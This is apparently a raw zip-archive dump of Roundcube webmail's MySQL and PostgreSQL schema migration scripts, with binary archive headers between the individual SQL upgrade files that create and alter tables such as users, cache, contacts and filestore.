-- Table structure for table `system`

CREATE TABLE `system` (
 `name` varchar(64) NOT NULL,
 `value` mediumtext,
 PRIMARY KEY(`name`)
) ROW_FORMAT=DYNAMIC ENGINE=INNODB CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;

SET FOREIGN_KEY_CHECKS=1;

INSERT INTO `system` (`name`, `value`) VALUES ('roundcube-version', '2022081200');
PKh�\@�C		SQL/mysql/2018021600.sqlnu�[���CREATE TABLE `filestore` (
    `file_id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT,
    `user_id` int(10) UNSIGNED NOT NULL,
    `filename` varchar(128) NOT NULL,
    `mtime` int(10) NOT NULL,
    `data` longtext NOT NULL,
    PRIMARY KEY (`file_id`),
    CONSTRAINT `user_id_fk_filestore` FOREIGN KEY (`user_id`)
        REFERENCES `users` (`user_id`) ON DELETE CASCADE ON UPDATE CASCADE,
    UNIQUE `uniqueness` (`user_id`, `filename`)
) /*!40000 ENGINE=INNODB */ /*!40101 CHARACTER SET utf8 COLLATE utf8_general_ci */;
PKh�\]?rSQL/mysql/2013042700.sqlnu�[���-- emptyPKh�\+b��}
}
SQL/mysql/2009103100.sqlnu�[���-- Updates from version 0.3.1
-- WARNING: Make sure that all tables are using InnoDB engine!!!
--          If not, use: ALTER TABLE xxx ENGINE=InnoDB;

/* MySQL bug workaround: http://bugs.mysql.com/bug.php?id=46293 */
/*!40014 SET FOREIGN_KEY_CHECKS=0 */;

ALTER TABLE `messages` DROP FOREIGN KEY `user_id_fk_messages`;
ALTER TABLE `cache` DROP FOREIGN KEY `user_id_fk_cache`;
ALTER TABLE `contacts` DROP FOREIGN KEY `user_id_fk_contacts`;
ALTER TABLE `identities` DROP FOREIGN KEY `user_id_fk_identities`;

ALTER TABLE `messages` ADD CONSTRAINT `user_id_fk_messages` FOREIGN KEY (`user_id`)
 REFERENCES `users`(`user_id`) ON DELETE CASCADE ON UPDATE CASCADE;
ALTER TABLE `cache` ADD CONSTRAINT `user_id_fk_cache` FOREIGN KEY (`user_id`)
 REFERENCES `users`(`user_id`) ON DELETE CASCADE ON UPDATE CASCADE;
ALTER TABLE `contacts` ADD CONSTRAINT `user_id_fk_contacts` FOREIGN KEY (`user_id`)
 REFERENCES `users`(`user_id`) ON DELETE CASCADE ON UPDATE CASCADE;
ALTER TABLE `identities` ADD CONSTRAINT `user_id_fk_identities` FOREIGN KEY (`user_id`)
 REFERENCES `users`(`user_id`) ON DELETE CASCADE ON UPDATE CASCADE;

ALTER TABLE `contacts` ALTER `name` SET DEFAULT '';
ALTER TABLE `contacts` ALTER `firstname` SET DEFAULT '';
ALTER TABLE `contacts` ALTER `surname` SET DEFAULT '';

ALTER TABLE `identities` ADD INDEX `user_identities_index` (`user_id`, `del`);
ALTER TABLE `identities` ADD `changed` datetime NOT NULL DEFAULT '1000-01-01 00:00:00' AFTER `user_id`;

CREATE TABLE `contactgroups` (
  `contactgroup_id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT,
  `user_id` int(10) UNSIGNED NOT NULL DEFAULT '0',
  `changed` datetime NOT NULL DEFAULT '1000-01-01 00:00:00',
  `del` tinyint(1) NOT NULL DEFAULT '0',
  `name` varchar(128) NOT NULL DEFAULT '',
  PRIMARY KEY(`contactgroup_id`),
  CONSTRAINT `user_id_fk_contactgroups` FOREIGN KEY (`user_id`)
    REFERENCES `users`(`user_id`) ON DELETE CASCADE ON UPDATE CASCADE,
  INDEX `contactgroups_user_index` (`user_id`,`del`)
) /*!40000 ENGINE=INNODB */ /*!40101 CHARACTER SET utf8 COLLATE utf8_general_ci */;

CREATE TABLE `contactgroupmembers` (
  `contactgroup_id` int(10) UNSIGNED NOT NULL,
  `contact_id` int(10) UNSIGNED NOT NULL DEFAULT '0',
  `created` datetime NOT NULL DEFAULT '1000-01-01 00:00:00',
  PRIMARY KEY (`contactgroup_id`, `contact_id`),
  CONSTRAINT `contactgroup_id_fk_contactgroups` FOREIGN KEY (`contactgroup_id`)
    REFERENCES `contactgroups`(`contactgroup_id`) ON DELETE CASCADE ON UPDATE CASCADE,
  CONSTRAINT `contact_id_fk_contacts` FOREIGN KEY (`contact_id`)
    REFERENCES `contacts`(`contact_id`) ON DELETE CASCADE ON UPDATE CASCADE
) /*!40000 ENGINE=INNODB */;

/*!40014 SET FOREIGN_KEY_CHECKS=1 */;
PKh�\׼ŏ88SQL/mysql/2016100900.sqlnu�[���ALTER TABLE `session` MODIFY `ip` varchar(40) NOT NULL;
PKh�\j�ՄzzSQL/mysql/2020091000.sqlnu�[���CREATE TABLE `collected_addresses` (
 `address_id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT,
 `changed` datetime NOT NULL DEFAULT '1000-01-01 00:00:00',
 `name` varchar(255) NOT NULL DEFAULT '',
 `email` varchar(255) NOT NULL,
 `user_id` int(10) UNSIGNED NOT NULL,
 `type` int(10) UNSIGNED NOT NULL,
 PRIMARY KEY(`address_id`),
 CONSTRAINT `user_id_fk_collected_addresses` FOREIGN KEY (`user_id`)
   REFERENCES `users`(`user_id`) ON DELETE CASCADE ON UPDATE CASCADE,
 UNIQUE INDEX `user_email_collected_addresses_index` (`user_id`, `type`, `email`)
) ROW_FORMAT=DYNAMIC ENGINE=INNODB CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
PKh�\�ۑSQL/mysql/2011092800.sqlnu�[���-- Updates from version 0.6

/*!40014 SET FOREIGN_KEY_CHECKS=0 */;

ALTER TABLE `users` CHANGE `alias` `alias` varchar(128) BINARY NOT NULL;
ALTER TABLE `users` CHANGE `username` `username` varchar(128) BINARY NOT NULL;

CREATE TABLE `dictionary` (
  `user_id` int(10) UNSIGNED DEFAULT NULL,
  `language` varchar(5) NOT NULL,
  `data` longtext NOT NULL,
  CONSTRAINT `user_id_fk_dictionary` FOREIGN KEY (`user_id`)
    REFERENCES `users`(`user_id`) ON DELETE CASCADE ON UPDATE CASCADE,
  UNIQUE `uniqueness` (`user_id`, `language`)
) /*!40000 ENGINE=INNODB */ /*!40101 CHARACTER SET utf8 COLLATE utf8_general_ci */;

CREATE TABLE `searches` (
  `search_id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT,
  `user_id` int(10) UNSIGNED NOT NULL DEFAULT '0',
  `type` int(3) NOT NULL DEFAULT '0',
  `name` varchar(128) NOT NULL,
  `data` text,
  PRIMARY KEY(`search_id`),
  CONSTRAINT `user_id_fk_searches` FOREIGN KEY (`user_id`)
    REFERENCES `users`(`user_id`) ON DELETE CASCADE ON UPDATE CASCADE,
  UNIQUE `uniqueness` (`user_id`, `type`, `name`)
) /*!40000 ENGINE=INNODB */ /*!40101 CHARACTER SET utf8 COLLATE utf8_general_ci */;

DROP TABLE `messages`;

CREATE TABLE `cache_index` (
 `user_id` int(10) UNSIGNED NOT NULL DEFAULT '0',
 `mailbox` varchar(255) BINARY NOT NULL,
 `changed` datetime NOT NULL DEFAULT '1000-01-01 00:00:00',
 `valid` tinyint(1) NOT NULL DEFAULT '0',
 `data` longtext NOT NULL,
 CONSTRAINT `user_id_fk_cache_index` FOREIGN KEY (`user_id`)
   REFERENCES `users`(`user_id`) ON DELETE CASCADE ON UPDATE CASCADE,
 INDEX `changed_index` (`changed`),
 PRIMARY KEY (`user_id`, `mailbox`)
) /*!40000 ENGINE=INNODB */ /*!40101 CHARACTER SET utf8 COLLATE utf8_general_ci */;

CREATE TABLE `cache_thread` (
 `user_id` int(10) UNSIGNED NOT NULL DEFAULT '0',
 `mailbox` varchar(255) BINARY NOT NULL,
 `changed` datetime NOT NULL DEFAULT '1000-01-01 00:00:00',
 `data` longtext NOT NULL,
 CONSTRAINT `user_id_fk_cache_thread` FOREIGN KEY (`user_id`)
   REFERENCES `users`(`user_id`) ON DELETE CASCADE ON UPDATE CASCADE,
 INDEX `changed_index` (`changed`),
 PRIMARY KEY (`user_id`, `mailbox`)
) /*!40000 ENGINE=INNODB */ /*!40101 CHARACTER SET utf8 COLLATE utf8_general_ci */;

CREATE TABLE `cache_messages` (
 `user_id` int(10) UNSIGNED NOT NULL DEFAULT '0',
 `mailbox` varchar(255) BINARY NOT NULL,
 `uid` int(11) UNSIGNED NOT NULL DEFAULT '0',
 `changed` datetime NOT NULL DEFAULT '1000-01-01 00:00:00',
 `data` longtext NOT NULL,
 `flags` int(11) NOT NULL DEFAULT '0',
 CONSTRAINT `user_id_fk_cache_messages` FOREIGN KEY (`user_id`)
   REFERENCES `users`(`user_id`) ON DELETE CASCADE ON UPDATE CASCADE,
 INDEX `changed_index` (`changed`),
 PRIMARY KEY (`user_id`, `mailbox`, `uid`)
) /*!40000 ENGINE=INNODB */ /*!40101 CHARACTER SET utf8 COLLATE utf8_general_ci */;

/*!40014 SET FOREIGN_KEY_CHECKS=1 */;
PKh�\��J���SQL/mysql/2013011000.sqlnu�[���-- Upgrade from 0.9-beta

CREATE TABLE IF NOT EXISTS `system` (
 `name` varchar(64) NOT NULL,
 `value` mediumtext,
 PRIMARY KEY(`name`)
) /*!40000 ENGINE=INNODB */ /*!40101 CHARACTER SET utf8 COLLATE utf8_general_ci */;
PKh�\��9�jjSQL/mysql/2008030300.sqlnu�[���-- Updates from version 0.1-stable

TRUNCATE TABLE `messages`;

ALTER TABLE `messages`
  DROP INDEX `idx`,
  DROP INDEX `uid`;

ALTER TABLE `cache`
  DROP INDEX `cache_key`,
  DROP INDEX `session_id`,
  ADD INDEX `user_cache_index` (`user_id`,`cache_key`);

ALTER TABLE `users`
    ADD INDEX `username_index` (`username`),
    ADD INDEX `alias_index` (`alias`);
PKh�\d�nl%%SQL/mysql/2009090400.sqlnu�[���-- Updates from version 0.3-stable

TRUNCATE `messages`;

ALTER TABLE `messages`
    ADD INDEX `index_index` (`user_id`, `cache_key`, `idx`);

ALTER TABLE `session` 
    CHANGE `vars` `vars` MEDIUMTEXT NOT NULL;

ALTER TABLE `contacts`
    ADD INDEX `user_contacts_index` (`user_id`,`email`);
PKh�\�|е

SQL/mysql/2016112200.sqlnu�[���-- redundant column, for compat. with Galera Cluster
ALTER TABLE `dictionary` ADD COLUMN `id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT PRIMARY KEY FIRST;

DROP TABLE `cache`;
DROP TABLE `cache_shared`;

CREATE TABLE `cache` (
 `user_id` int(10) UNSIGNED NOT NULL,
 `cache_key` varchar(128) /*!40101 CHARACTER SET ascii COLLATE ascii_general_ci */ NOT NULL,
 `expires` datetime DEFAULT NULL,
 `data` longtext NOT NULL,
 PRIMARY KEY (`user_id`, `cache_key`),
 CONSTRAINT `user_id_fk_cache` FOREIGN KEY (`user_id`)
   REFERENCES `users`(`user_id`) ON DELETE CASCADE ON UPDATE CASCADE,
 INDEX `expires_index` (`expires`)
) /*!40000 ENGINE=INNODB */ /*!40101 CHARACTER SET utf8 COLLATE utf8_general_ci */;


CREATE TABLE `cache_shared` (
 `cache_key` varchar(255) /*!40101 CHARACTER SET ascii COLLATE ascii_general_ci */ NOT NULL,
 `expires` datetime DEFAULT NULL,
 `data` longtext NOT NULL,
 PRIMARY KEY (`cache_key`),
 INDEX `expires_index` (`expires`)
) /*!40000 ENGINE=INNODB */ /*!40101 CHARACTER SET utf8 COLLATE utf8_general_ci */;
PKh�\��SQL/mysql/2013061000.sqlnu�[���ALTER TABLE `cache` ADD `expires` datetime DEFAULT NULL;
ALTER TABLE `cache_shared` ADD `expires` datetime DEFAULT NULL;
ALTER TABLE `cache_index` ADD `expires` datetime DEFAULT NULL;
ALTER TABLE `cache_thread` ADD `expires` datetime DEFAULT NULL;
ALTER TABLE `cache_messages` ADD `expires` datetime DEFAULT NULL;

-- initialize expires column with created/changed date + 7days
UPDATE `cache` SET `expires` = `created` + interval 604800 second;
UPDATE `cache_shared` SET `expires` = `created` + interval 604800 second;
UPDATE `cache_index` SET `expires` = `changed` + interval 604800 second;
UPDATE `cache_thread` SET `expires` = `changed` + interval 604800 second;
UPDATE `cache_messages` SET `expires` = `changed` + interval 604800 second;

ALTER TABLE `cache` DROP INDEX `created_index`;
ALTER TABLE `cache_shared` DROP INDEX `created_index`;
ALTER TABLE `cache_index` DROP `changed`;
ALTER TABLE `cache_thread` DROP `changed`;
ALTER TABLE `cache_messages` DROP `changed`;

ALTER TABLE `cache` ADD INDEX `expires_index` (`expires`);
ALTER TABLE `cache_shared` ADD INDEX `expires_index` (`expires`);
ALTER TABLE `cache_index` ADD INDEX `expires_index` (`expires`);
ALTER TABLE `cache_thread` ADD INDEX `expires_index` (`expires`);
ALTER TABLE `cache_messages` ADD INDEX `expires_index` (`expires`);
PKh�\�Y
'		SQL/mysql/2020122900.sqlnu�[���-- empty
PKh�\peW�BBSQL/mysql/2015030800.sqlnu�[���ALTER TABLE `identities` CHANGE `signature` `signature` longtext;
PKh�\�f%��SQL/mysql/2018122300.sqlnu�[���ALTER TABLE `filestore` ADD COLUMN `context` varchar(32) NOT NULL;
UPDATE `filestore` SET `context` = 'enigma';
ALTER TABLE `filestore` DROP FOREIGN KEY `user_id_fk_filestore`;
ALTER TABLE `filestore` DROP INDEX `uniqueness`;
ALTER TABLE `filestore` ADD UNIQUE INDEX `uniqueness` (`user_id`, `context`, `filename`);
ALTER TABLE `filestore` ADD CONSTRAINT `user_id_fk_filestore` FOREIGN KEY (`user_id`)
    REFERENCES `users` (`user_id`) ON DELETE CASCADE ON UPDATE CASCADE;
PKh�\c�/Z��SQL/mysql/2010042300.sqlnu�[���-- Updates from version 0.4-beta

ALTER TABLE `users` CHANGE `last_login` `last_login` datetime DEFAULT NULL;
UPDATE `users` SET `last_login` = NULL WHERE `last_login` = '1000-01-01 00:00:00';
PKh�\?��Z��SQL/mysql/2011121400.sqlnu�[���-- Updates from version 0.7

/*!40014 SET FOREIGN_KEY_CHECKS=0 */;

ALTER TABLE `contacts` DROP FOREIGN KEY `user_id_fk_contacts`;
ALTER TABLE `contacts` DROP INDEX `user_contacts_index`;
ALTER TABLE `contacts` MODIFY `email` text NOT NULL;
ALTER TABLE `contacts` ADD INDEX `user_contacts_index` (`user_id`,`del`);
ALTER TABLE `contacts` ADD CONSTRAINT `user_id_fk_contacts` FOREIGN KEY (`user_id`)
   REFERENCES `users`(`user_id`) ON DELETE CASCADE ON UPDATE CASCADE;

ALTER TABLE `cache` ALTER `user_id` DROP DEFAULT;
ALTER TABLE `cache_index` ALTER `user_id` DROP DEFAULT;
ALTER TABLE `cache_thread` ALTER `user_id` DROP DEFAULT;
ALTER TABLE `cache_messages` ALTER `user_id` DROP DEFAULT;
ALTER TABLE `contacts` ALTER `user_id` DROP DEFAULT;
ALTER TABLE `contactgroups` ALTER `user_id` DROP DEFAULT;
ALTER TABLE `contactgroupmembers` ALTER `contact_id` DROP DEFAULT;
ALTER TABLE `identities` ALTER `user_id` DROP DEFAULT;
ALTER TABLE `searches` ALTER `user_id` DROP DEFAULT;

/*!40014 SET FOREIGN_KEY_CHECKS=1 */;
PKh�\y5u�SQL/mysql/2022081200.sqlnu�[���-- SQLite/Postgres onlyPKh�\����SQL/mysql/2008092100.sqlnu�[���-- Updates from version 0.2-beta (InnoDB required)

ALTER TABLE `cache`
    DROP `session_id`;

ALTER TABLE `session`
    ADD INDEX `changed_index` (`changed`);

ALTER TABLE `cache`
    ADD INDEX `created_index` (`created`);

ALTER TABLE `users`
    CHANGE `language` `language` varchar(5);

ALTER TABLE `cache` ENGINE=InnoDB;
ALTER TABLE `session` ENGINE=InnoDB;
ALTER TABLE `messages` ENGINE=InnoDB;
ALTER TABLE `users` ENGINE=InnoDB;
ALTER TABLE `contacts` ENGINE=InnoDB;
ALTER TABLE `identities` ENGINE=InnoDB;
PKh�\I`q+qqSQL/mysql/2013052500.sqlnu�[���CREATE TABLE `cache_shared` (
 `cache_key` varchar(255) /*!40101 CHARACTER SET ascii COLLATE ascii_general_ci */ NOT NULL,
 `created` datetime NOT NULL DEFAULT '1000-01-01 00:00:00',
 `data` longtext NOT NULL,
 INDEX `created_index` (`created`),
 INDEX `cache_key_index` (`cache_key`)
) /*!40000 ENGINE=INNODB */ /*!40101 CHARACTER SET utf8 COLLATE utf8_general_ci */;
PKh�\�HV�XXSQL/mysql/2011011200.sqlnu�[���-- Updates from version 0.5.x

ALTER TABLE `contacts` ADD `words` TEXT NULL AFTER `vcard`;
ALTER TABLE `contacts` CHANGE `vcard` `vcard` LONGTEXT /*!40101 CHARACTER SET utf8 */ NULL DEFAULT NULL;
ALTER TABLE `contactgroupmembers` ADD INDEX `contactgroupmembers_contact_index` (`contact_id`);

TRUNCATE TABLE `messages`;
TRUNCATE TABLE `cache`;
PKh�\��A�ooSQL/mysql/2020020101.sqlnu�[���-- Dropping foreign keys and changing table format is needed for some versions of MySQL (#7277)
ALTER TABLE `cache` DROP FOREIGN KEY `user_id_fk_cache`;
ALTER TABLE `cache_index` DROP FOREIGN KEY `user_id_fk_cache_index`;
ALTER TABLE `cache_thread` DROP FOREIGN KEY `user_id_fk_cache_thread`;
ALTER TABLE `cache_messages` DROP FOREIGN KEY `user_id_fk_cache_messages`;
ALTER TABLE `contactgroups` DROP FOREIGN KEY `user_id_fk_contactgroups`;
ALTER TABLE `contacts` DROP FOREIGN KEY `user_id_fk_contacts`;
ALTER TABLE `dictionary` DROP FOREIGN KEY `user_id_fk_dictionary`;
ALTER TABLE `filestore` DROP FOREIGN KEY `user_id_fk_filestore`;
ALTER TABLE `identities` DROP FOREIGN KEY `user_id_fk_identities`;
ALTER TABLE `searches` DROP FOREIGN KEY `user_id_fk_searches`;

ALTER TABLE `session` ROW_FORMAT=DYNAMIC;
ALTER TABLE `users` ROW_FORMAT=DYNAMIC;
ALTER TABLE `cache` ROW_FORMAT=DYNAMIC;
ALTER TABLE `cache_shared` ROW_FORMAT=DYNAMIC;
ALTER TABLE `cache_index` ROW_FORMAT=DYNAMIC;
ALTER TABLE `cache_thread` ROW_FORMAT=DYNAMIC;
ALTER TABLE `cache_messages` ROW_FORMAT=DYNAMIC;
ALTER TABLE `contacts` ROW_FORMAT=DYNAMIC;
ALTER TABLE `contactgroups` ROW_FORMAT=DYNAMIC;
ALTER TABLE `contactgroupmembers` ROW_FORMAT=DYNAMIC;
ALTER TABLE `identities` ROW_FORMAT=DYNAMIC;
ALTER TABLE `dictionary` ROW_FORMAT=DYNAMIC;
ALTER TABLE `searches` ROW_FORMAT=DYNAMIC;
ALTER TABLE `filestore` ROW_FORMAT=DYNAMIC;
ALTER TABLE `system` ROW_FORMAT=DYNAMIC;

ALTER TABLE `session` CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
ALTER TABLE `users` CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
ALTER TABLE `cache` CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
ALTER TABLE `cache_shared` CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
ALTER TABLE `cache_index` CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
ALTER TABLE `cache_thread` CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
ALTER TABLE `cache_messages` CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
ALTER TABLE `contacts` CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
ALTER TABLE `contactgroups` CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
ALTER TABLE `identities` CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
ALTER TABLE `dictionary` CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
ALTER TABLE `searches` CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
ALTER TABLE `filestore` CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
ALTER TABLE `system` CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;

ALTER TABLE `users` CHANGE `username` `username` varchar(128) BINARY NOT NULL;
ALTER TABLE `cache` CHANGE `cache_key` `cache_key` varchar(128) BINARY NOT NULL;
ALTER TABLE `cache_shared` CHANGE `cache_key` `cache_key` varchar(255) BINARY NOT NULL;
ALTER TABLE `cache_index` CHANGE `mailbox` `mailbox` varchar(255) BINARY NOT NULL;
ALTER TABLE `cache_thread` CHANGE `mailbox` `mailbox` varchar(255) BINARY NOT NULL;
ALTER TABLE `cache_messages` CHANGE `mailbox` `mailbox` varchar(255) BINARY NOT NULL;

ALTER TABLE `cache`
  ADD CONSTRAINT `user_id_fk_cache` FOREIGN KEY (`user_id`) REFERENCES `users` (`user_id`) ON DELETE CASCADE ON UPDATE CASCADE;
ALTER TABLE `cache_index`
  ADD CONSTRAINT `user_id_fk_cache_index` FOREIGN KEY (`user_id`) REFERENCES `users` (`user_id`) ON DELETE CASCADE ON UPDATE CASCADE;
ALTER TABLE `cache_thread`
  ADD CONSTRAINT `user_id_fk_cache_thread` FOREIGN KEY (`user_id`) REFERENCES `users` (`user_id`) ON DELETE CASCADE ON UPDATE CASCADE;
ALTER TABLE `cache_messages`
  ADD CONSTRAINT `user_id_fk_cache_messages` FOREIGN KEY (`user_id`) REFERENCES `users` (`user_id`) ON DELETE CASCADE ON UPDATE CASCADE;
ALTER TABLE `contactgroups`
  ADD CONSTRAINT `user_id_fk_contactgroups` FOREIGN KEY (`user_id`) REFERENCES `users` (`user_id`) ON DELETE CASCADE ON UPDATE CASCADE;
ALTER TABLE `contacts`
  ADD CONSTRAINT `user_id_fk_contacts` FOREIGN KEY (`user_id`) REFERENCES `users` (`user_id`) ON DELETE CASCADE ON UPDATE CASCADE;
ALTER TABLE `dictionary`
  ADD CONSTRAINT `user_id_fk_dictionary` FOREIGN KEY (`user_id`) REFERENCES `users` (`user_id`) ON DELETE CASCADE ON UPDATE CASCADE;
ALTER TABLE `filestore`
  ADD CONSTRAINT `user_id_fk_filestore` FOREIGN KEY (`user_id`) REFERENCES `users` (`user_id`) ON DELETE CASCADE ON UPDATE CASCADE;
ALTER TABLE `identities`
  ADD CONSTRAINT `user_id_fk_identities` FOREIGN KEY (`user_id`) REFERENCES `users` (`user_id`) ON DELETE CASCADE ON UPDATE CASCADE;
ALTER TABLE `searches`
  ADD CONSTRAINT `user_id_fk_searches` FOREIGN KEY (`user_id`) REFERENCES `users` (`user_id`) ON DELETE CASCADE ON UPDATE CASCADE;
PKh�\#�ttSQL/mysql/2020020100.sqlnu�[���ALTER TABLE `users` MODIFY `language` varchar(16);
ALTER TABLE `dictionary` MODIFY `language` varchar(16) NOT NULL;
PKh�\�Z��eeSQL/mysql/2008060900.sqlnu�[���-- Updates from version 0.2-alpha

ALTER TABLE `messages`
    ADD INDEX `created_index` (`created`);
PKh�\1CG�TTSQL/mysql/2008040500.sqlnu�[���-- Updates from version 0.1.1

ALTER TABLE `identities`
    MODIFY `signature` text, 
    MODIFY `bcc` varchar(128) NOT NULL DEFAULT '', 
    MODIFY `reply-to` varchar(128) NOT NULL DEFAULT '', 
    MODIFY `organization` varchar(128) NOT NULL DEFAULT '',
    MODIFY `name` varchar(128) NOT NULL, 
    MODIFY `email` varchar(128) NOT NULL; 
PKh�\��wjjSQL/mysql/2021081000.sqlnu�[���CREATE TABLE `responses` (
 `response_id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT,
 `user_id` int(10) UNSIGNED NOT NULL,
 `name` varchar(255) NOT NULL,
 `data` longtext NOT NULL,
 `is_html` tinyint(1) NOT NULL DEFAULT '0',
 `changed` datetime NOT NULL DEFAULT '1000-01-01 00:00:00',
 `del` tinyint(1) NOT NULL DEFAULT '0',
 PRIMARY KEY (`response_id`),
 CONSTRAINT `user_id_fk_responses` FOREIGN KEY (`user_id`)
   REFERENCES `users` (`user_id`) ON DELETE CASCADE ON UPDATE CASCADE,
 INDEX `user_responses_index` (`user_id`, `del`)
) ROW_FORMAT=DYNAMIC ENGINE=INNODB CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
PKh�\��:--SQL/mysql/2016081200.sqlnu�[���ALTER TABLE `session` DROP COLUMN `created`;
PKh�\1�p�jjSQL/mysql/2011111600.sqlnu�[���-- Updates from version 0.7-beta

ALTER TABLE `session` CHANGE `sess_id` `sess_id` varchar(128) NOT NULL;
PKh�\�Bo?��SQL/mysql/2012080700.sqlnu�[���-- Updates from version 0.8

ALTER TABLE `cache` DROP COLUMN `cache_id`;
ALTER TABLE `users` DROP COLUMN `alias`;
ALTER TABLE `identities` ADD INDEX `email_identities_index` (`email`, `del`);
PKh�\�M�	��SQL/mysql/2019092900.sqlnu�[���ALTER TABLE `cache` CHANGE `cache_key` `cache_key` varchar(128) BINARY NOT NULL;
ALTER TABLE `cache_shared` CHANGE `cache_key` `cache_key` varchar(255) BINARY NOT NULL;
PKh�\~5�GSQL/mysql/2021100300.sqlnu�[���-- SQLite onlyPKh�\�����SQL/mysql/2010100600.sqlnu�[���-- Updates from version 0.4.2

ALTER TABLE `users` DROP INDEX `username_index`;
ALTER TABLE `users` ADD UNIQUE `username` (`username`, `mail_host`);

ALTER TABLE `contacts` MODIFY `email` varchar(255) NOT NULL;

TRUNCATE TABLE `messages`;
PKh�\�9||SQL/mysql/2015111100.sqlnu�[���ALTER TABLE `users`
  ADD `failed_login` datetime DEFAULT NULL,
  ADD `failed_login_counter` int(10) UNSIGNED DEFAULT NULL;
PKh�\��AASQL/mysql/2014042900.sqlnu�[���ALTER TABLE `users` CHANGE `preferences` `preferences` longtext;
PKh�\�uT��SQL/postgres/2018021600.sqlnu�[���CREATE SEQUENCE "filestore_seq"
    INCREMENT BY 1
    NO MAXVALUE
    NO MINVALUE
    CACHE 1;

CREATE TABLE "filestore" (
    file_id integer DEFAULT nextval('filestore_seq'::text) PRIMARY KEY,
    user_id integer NOT NULL
        REFERENCES users (user_id) ON DELETE CASCADE ON UPDATE CASCADE,
    filename varchar(128) NOT NULL,
    mtime integer NOT NULL,
    data text NOT NULL,
    CONSTRAINT filestore_user_id_filename UNIQUE (user_id, filename)
);
PKh�\s�0���SQL/postgres/2013042700.sqlnu�[���ALTER SEQUENCE user_ids RENAME TO users_seq;
ALTER TABLE users ALTER COLUMN user_id SET DEFAULT nextval('users_seq'::text);

ALTER SEQUENCE identity_ids RENAME TO identities_seq;
ALTER TABLE identities ALTER COLUMN identity_id SET DEFAULT nextval('identities_seq'::text);

ALTER SEQUENCE contact_ids RENAME TO contacts_seq;
ALTER TABLE contacts ALTER COLUMN contact_id SET DEFAULT nextval('contacts_seq'::text);

ALTER SEQUENCE contactgroups_ids RENAME TO contactgroups_seq;
ALTER TABLE contactgroups ALTER COLUMN contactgroup_id SET DEFAULT nextval('contactgroups_seq'::text);

ALTER SEQUENCE search_ids RENAME TO searches_seq;
ALTER TABLE searches ALTER COLUMN search_id SET DEFAULT nextval('searches_seq'::text);
PKh�\�`�eeSQL/postgres/2009103100.sqlnu�[���-- Updates from version 0.3.1

DROP INDEX identities_user_id_idx;
CREATE INDEX identities_user_id_idx ON identities (user_id, del);

ALTER TABLE identities ADD changed timestamp with time zone DEFAULT now() NOT NULL;

CREATE SEQUENCE contactgroups_ids
    INCREMENT BY 1
    NO MAXVALUE
    NO MINVALUE
    CACHE 1;

CREATE TABLE contactgroups (
    contactgroup_id integer DEFAULT nextval('contactgroups_ids'::text) PRIMARY KEY,
    user_id integer NOT NULL
        REFERENCES users(user_id) ON DELETE CASCADE ON UPDATE CASCADE,
    changed timestamp with time zone DEFAULT now() NOT NULL,
    del smallint NOT NULL DEFAULT 0,
    name varchar(128) NOT NULL DEFAULT ''
);

CREATE INDEX contactgroups_user_id_idx ON contactgroups (user_id, del);

CREATE TABLE contactgroupmembers (
    contactgroup_id integer NOT NULL
        REFERENCES contactgroups(contactgroup_id) ON DELETE CASCADE ON UPDATE CASCADE,
    contact_id integer NOT NULL
        REFERENCES contacts(contact_id) ON DELETE CASCADE ON UPDATE CASCADE,
    created timestamp with time zone DEFAULT now() NOT NULL,
    PRIMARY KEY (contactgroup_id, contact_id)
);
PKh�\�G3�@@SQL/postgres/2016100900.sqlnu�[���ALTER TABLE session ALTER COLUMN ip TYPE character varying(41);
PKh�\	U�hffSQL/postgres/2020091000.sqlnu�[���
CREATE SEQUENCE collected_addresses_seq
    START WITH 1
    INCREMENT BY 1
    NO MAXVALUE
    NO MINVALUE
    CACHE 1;

CREATE TABLE collected_addresses (
    address_id integer DEFAULT nextval('collected_addresses_seq'::text) PRIMARY KEY,
    user_id integer NOT NULL
        REFERENCES users (user_id) ON DELETE CASCADE ON UPDATE CASCADE,
    changed timestamp with time zone DEFAULT now() NOT NULL,
    name varchar(255) DEFAULT '' NOT NULL,
    email varchar(255) NOT NULL,
    "type" integer NOT NULL
);

CREATE UNIQUE INDEX collected_addresses_user_id_idx ON collected_addresses (user_id, "type", email);
PKh�\{����SQL/postgres/2011092800.sqlnu�[���-- Updates from version 0.6

CREATE TABLE dictionary (
    user_id integer DEFAULT NULL
        REFERENCES users (user_id) ON DELETE CASCADE ON UPDATE CASCADE,
   "language" varchar(5) NOT NULL,
    data text NOT NULL,
    CONSTRAINT dictionary_user_id_language_key UNIQUE (user_id, "language")
);

CREATE SEQUENCE search_ids
    INCREMENT BY 1
    NO MAXVALUE
    NO MINVALUE
    CACHE 1;

CREATE TABLE searches (
    search_id integer DEFAULT nextval('search_ids'::text) PRIMARY KEY,
    user_id integer NOT NULL
        REFERENCES users (user_id) ON DELETE CASCADE ON UPDATE CASCADE,
    "type" smallint DEFAULT 0 NOT NULL,
    name varchar(128) NOT NULL,
    data text NOT NULL,
    CONSTRAINT searches_user_id_key UNIQUE (user_id, "type", name)
);

DROP SEQUENCE message_ids;
